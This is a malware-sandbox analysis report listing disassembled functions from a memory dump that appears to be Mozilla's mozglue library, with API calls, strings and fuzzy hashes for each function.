API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: d75ba4997cad7e10023813b7ead2af419490ed830bf9d799436e7d4775b1dbdb
Instruction ID: f3a1514ece827eb2d4dce5251496dc7e307a8e5ddd257d8b5cbf13195d31eb90
Opcode Fuzzy Hash: d75ba4997cad7e10023813b7ead2af419490ed830bf9d799436e7d4775b1dbdb
Instruction Fuzzy Hash: 814193B0D006448FEB00EFA4D845FDDB771FF48324F148619E826AB791D7359945CB91

Function 6C3D1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C3D152B,?,?,?,?,6C3D1248,?), ref: 6C3D159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C3D152B,?,?,?,?,6C3D1248,?), ref: 6C3D15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C3D152B,?,?,?,?,6C3D1248,?), ref: 6C3D15E7
free.MOZGLUE(?,?,?,?,?,?,6C3D152B,?,?,?,?,6C3D1248,?), ref: 6C3D1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C3D152B,?,?,?,?,6C3D1248,?), ref: 6C3D1637

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 42d081da0366f821e847c30132de0324802d54e0765c41cf70524c098402e2fc
Instruction ID: 824737e5d18ddc9f40aff92929efa1874ec4e1e4a4dbf5f12da7149764390a76
Opcode Fuzzy Hash: 42d081da0366f821e847c30132de0324802d54e0765c41cf70524c098402e2fc
Instruction Fuzzy Hash: 2631F873A101148BC714CE78D85086E73AABB853747260B6DE863DBBD4EB30F9048B91

Function 6C42AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C43E330,?,6C3EC059), ref: 6C42AD9D

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C43E330,?,6C3EC059), ref: 6C42ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C43E330,?,6C3EC059), ref: 6C42AE01
GetLastError.KERNEL32(?,00000000,?,?,6C43E330,?,6C3EC059), ref: 6C42AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C43E330,?,6C3EC059), ref: 6C42AE3D

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b7aa727413b41d2d43de8a0ff5c459fe15d7624319234f54d2efcf1d913500dd
Instruction ID: 7c609c2b2e83ac4bc0e832168860fd733008a56528e4b87cd17dc279bbdc5bf8
Opcode Fuzzy Hash: b7aa727413b41d2d43de8a0ff5c459fe15d7624319234f54d2efcf1d913500dd
Instruction Fuzzy Hash: 4A3121B1A002259FDB10DF759C45EABB7F8EF89614F15882DE85AD7740E734A805CBA0

Function 6C425EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C43DCA0,?,?,?,6C3FE8B5,00000000), ref: 6C425F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C3FE8B5,00000000), ref: 6C425F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C3FE8B5,00000000), ref: 6C425F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C3FE8B5,00000000), ref: 6C425F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C3FE8B5,00000000), ref: 6C425FD6

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 452b7903c569aadc6b482c2c412ad8ab4909950b4e362160e08a64c493b33113
Instruction ID: fe55f4d62b5f6ff90fe86b9b919231a9799fc881cb21a566b88467e675af0b55
Opcode Fuzzy Hash: 452b7903c569aadc6b482c2c412ad8ab4909950b4e362160e08a64c493b33113
Instruction Fuzzy Hash: BB310C34300A008FD724DF29C899F2AB7F9FF89719BA58558E5568BB99C735EC41CB80

Function 6C3CB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C3CB532
moz_xmalloc.MOZGLUE(?), ref: 6C3CB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C3CB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C3CB57E
free.MOZGLUE(00000000), ref: 6C3CB58F

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: c7abd9b47b8ad2b6a32f1999f19e724730a93a81a8fd980ad650688bb7b76392
Instruction ID: d35cefba05d26a07196b819491d610c92b67f8939a413ad0e32063c4189e8a25
Opcode Fuzzy Hash: c7abd9b47b8ad2b6a32f1999f19e724730a93a81a8fd980ad650688bb7b76392
Instruction Fuzzy Hash: 5921A271A002159BDB00DF69CC40AAEBBB9FF85318F284129E9189B341E776DD15CBA2

Function 6C3CB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C3CB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C3CB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C3CB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C3CB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3CB849

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 46613be7160085f23ba292682bf42b782d52100d586f5a0b40f6b687cc7861e5
Instruction ID: cb43e400a853c93f3696a3fce0b82d0e048bc0ff09a48661553635d6bf05486a
Opcode Fuzzy Hash: 46613be7160085f23ba292682bf42b782d52100d586f5a0b40f6b687cc7861e5
Instruction Fuzzy Hash: 98212DB0E002199FDF04DFA9D8859BEBBB4EF49318F148129EC55AB341E731AD44CBA1

Function 6C426E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C426E78

Part of subcall function 6C426A10: InitializeCriticalSection.KERNEL32(6C44F618), ref: 6C426A68
Part of subcall function 6C426A10: GetCurrentProcess.KERNEL32 ref: 6C426A7D
Part of subcall function 6C426A10: GetCurrentProcess.KERNEL32 ref: 6C426AA1
Part of subcall function 6C426A10: EnterCriticalSection.KERNEL32(6C44F618), ref: 6C426AAE
Part of subcall function 6C426A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C426AE1
Part of subcall function 6C426A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C426B15
Part of subcall function 6C426A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C426B65
Part of subcall function 6C426A10: LeaveCriticalSection.KERNEL32(6C44F618,?,?), ref: 6C426B83

MozFormatCodeAddress.MOZGLUE ref: 6C426EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C426EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C426EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C426EFF

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: ba2aa1af0404d28da1145b1402f7b5c316d3ebb0c23e7c730d15990d39961e8a
Instruction ID: 2791841d07106a1764d4bf23a44d179b39c265139d25006f1e4063acb6eea3b2
Opcode Fuzzy Hash: ba2aa1af0404d28da1145b1402f7b5c316d3ebb0c23e7c730d15990d39961e8a
Instruction Fuzzy Hash: 4421B0B1A0421A8FDF10DF29D885ADE77F8EF84308F048039E84D97340EB749A488F92

Function 6C400D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C3C3DEF), ref: 6C400D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C3C3DEF), ref: 6C400D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C3C3DEF), ref: 6C400DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C400D97, 6C400DBE
<jemalloc>, xrefs: 6C400D92, 6C400DB9

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 4b180e05edd3cc36cada1501e24ac183c6b1def806c5b8efa20c52f0bc0605bc
Instruction ID: 47f9aff9924bd92c263aee326fb0f3cfb8148d1a112a40f8bff5e4debe96352c
Opcode Fuzzy Hash: 4b180e05edd3cc36cada1501e24ac183c6b1def806c5b8efa20c52f0bc0605bc
Instruction Fuzzy Hash: 86F054213C079422F624EB765C0AF6A665DEBC2B65F34C036F608DAAC0DA60E40196B5

Function 6C425850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C42586C
CloseHandle.KERNEL32 ref: 6C425878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C425898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4258C9
free.MOZGLUE(00000000), ref: 6C4258D3

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 552e3318af52bb84a7bda54eaf2330323f8c048757097d1ff5e71720d527d615
Instruction ID: 9960a8539e5d47945bd4fe1f08eda1ec6a607ede382f1791a3a545b1f6dfc78c
Opcode Fuzzy Hash: 552e3318af52bb84a7bda54eaf2330323f8c048757097d1ff5e71720d527d615
Instruction Fuzzy Hash: DD014B717062019BEB00FF2A9808E067BB8EB8333E734C176E51AC2612E7719824CF91

Function 6C417620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C4175C4,?), ref: 6C41762B

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C4174D7,6C4215FC,?,?,?), ref: 6C417644
GetCurrentThreadId.KERNEL32 ref: 6C41765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C4174D7,6C4215FC,?,?,?), ref: 6C417663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C4174D7,6C4215FC,?,?,?), ref: 6C417677

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 6c51dda1c556a0203d6641d34d4ec0fbbd8ad7576d92ba399530bad9b6c46266
Instruction ID: af1018a9ffefd325a1efc15bf9ef349778a112040f46b646a0055dff9e5bdce6
Opcode Fuzzy Hash: 6c51dda1c556a0203d6641d34d4ec0fbbd8ad7576d92ba399530bad9b6c46266
Instruction Fuzzy Hash: E9F0A471E10745ABD700EF21C848A79B778FFEA259F218356F94442601E7B0A5D08BD1

Function 6C421700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C421800

Part of subcall function 6C3FCBE8: GetCurrentProcess.KERNEL32(?,6C3C31A7), ref: 6C3FCBF1
Part of subcall function 6C3FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3C31A7), ref: 6C3FCBFA

Part of subcall function 6C3C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C403EBD,6C403EBD,00000000), ref: 6C3C42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C4218C7
Details, xrefs: 6C421925
name, xrefs: 6C421939

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 6bbf094c48671eed55858b8cb8a68c6f01c969f9b3e7375064b2b4d78e180dea
Instruction ID: 189975518b8b168478a330c30ef483877a217dd2b2c566d2153f5ebfe02c7bb0
Opcode Fuzzy Hash: 6bbf094c48671eed55858b8cb8a68c6f01c969f9b3e7375064b2b4d78e180dea
Instruction Fuzzy Hash: B671F570A003469FD704DF28D491EAAFBB1FF85314F104669D8554BB41DB71EAA8CBE2

Function 6C3ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C3FCBE8: GetCurrentProcess.KERNEL32(?,6C3C31A7), ref: 6C3FCBF1
Part of subcall function 6C3FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3C31A7), ref: 6C3FCBFA

EnterCriticalSection.KERNEL32(6C44E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C3FD1C5), ref: 6C3ED4F2
LeaveCriticalSection.KERNEL32(6C44E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C3FD1C5), ref: 6C3ED50B

Part of subcall function 6C3CCFE0: EnterCriticalSection.KERNEL32(6C44E784), ref: 6C3CCFF6
Part of subcall function 6C3CCFE0: LeaveCriticalSection.KERNEL32(6C44E784), ref: 6C3CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C3FD1C5), ref: 6C3ED52E
EnterCriticalSection.KERNEL32(6C44E7DC), ref: 6C3ED690
LeaveCriticalSection.KERNEL32(6C44E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C3FD1C5), ref: 6C3ED751

Strings

MOZ_CRASH(), xrefs: 6C3ED4BB

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: db05be1fefa42bf277763bfa7d336e9c43dbd1892f7a1e394fb58b744fb62b08
Instruction ID: 5a8bb052bc2cce53dd23e7ab4d2f9d4bc888f7643e7635a651557d5b3d171733
Opcode Fuzzy Hash: db05be1fefa42bf277763bfa7d336e9c43dbd1892f7a1e394fb58b744fb62b08
Instruction Fuzzy Hash: AB51B371A047118FE328DF29C094A1AB7E1EBC9718F64892ED5AAC7B84D771E804CF52

Function 6C414630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C414721

Strings

-%llu, xrefs: 6C414733
., xrefs: 6C41476A
profiler-paused, xrefs: 6C4146E4

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 630f0f66b694a618c3c1f7cd6c4a1fffac2ebf1dfe830b074b935b9016cfb215
Instruction ID: 1758be272087767773102e70f3e964436512eab3a6ef943d75e0f667b3db34a0
Opcode Fuzzy Hash: 630f0f66b694a618c3c1f7cd6c4a1fffac2ebf1dfe830b074b935b9016cfb215
Instruction Fuzzy Hash: BC418B71F087045BC708DF79D85196EBBF5EF85788F10863DE8995BB41EB3098048752

Function 6C4146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C414721

Part of subcall function 6C3C4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C403EBD,00000017,?,00000000,?,6C403EBD,?,?,6C3C42D2), ref: 6C3C4444

Strings

-%llu, xrefs: 6C414733
., xrefs: 6C41476A
profiler-paused, xrefs: 6C4146E4

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: f4ce31d471a5f9e093c983299baa1b5335e88a48743c3847390eb4298316bbb5
Instruction ID: 5b7e7b0bd82751903bfa2dabe4732e9eb4113b1f636fbcb56f8a023a19d55cd9
Opcode Fuzzy Hash: f4ce31d471a5f9e093c983299baa1b5335e88a48743c3847390eb4298316bbb5
Instruction Fuzzy Hash: 1F315C71F042184BDB0CDF6DD881EAEBBE6DB88318F14853EE855DBB41EB7499048B91

Function 6C41B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C403EBD,6C403EBD,00000000), ref: 6C3C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C41B127), ref: 6C41B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C41B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C41B4E4

Strings

pid:, xrefs: 6C41B4DE

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: aa7967bc45e9dd196e7d53aa0bb3d464d6ee39570d8e50e753fe7ea55c7f5b91
Instruction ID: 00a9b992de760f7292a7fe9c7292f0b23e6fa33cf145176cdac833682dda8025
Opcode Fuzzy Hash: aa7967bc45e9dd196e7d53aa0bb3d464d6ee39570d8e50e753fe7ea55c7f5b91
Instruction Fuzzy Hash: 723120B1A052088BDB00DFAAD880EBEB7B5FF04319F14452DD881A7F41D731A849CBA1

Function 6C3DBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C427A3F), ref: 6C3DBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C427A3F), ref: 6C3DBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C427A3F), ref: 6C3DBF7E

Strings

Cl, xrefs: 6C3DBF84

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Cl
API String ID: 4279176481-187561633
Opcode ID: fd1945279431278e0dfbb0d2cd7f96784d782ebab3ba018277056c191b63d164
Instruction ID: a2e720f39ffa922dfbb6cbec86fc093e53ae66adf250d2b1cf414cc7df0d3a02
Opcode Fuzzy Hash: fd1945279431278e0dfbb0d2cd7f96784d782ebab3ba018277056c191b63d164
Instruction Fuzzy Hash: 3311B2B92016148FC729DF1DD699D2AFBF8FB5D308315889DE98A8B750C732AC00CB90

Function 6C40E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C40E577
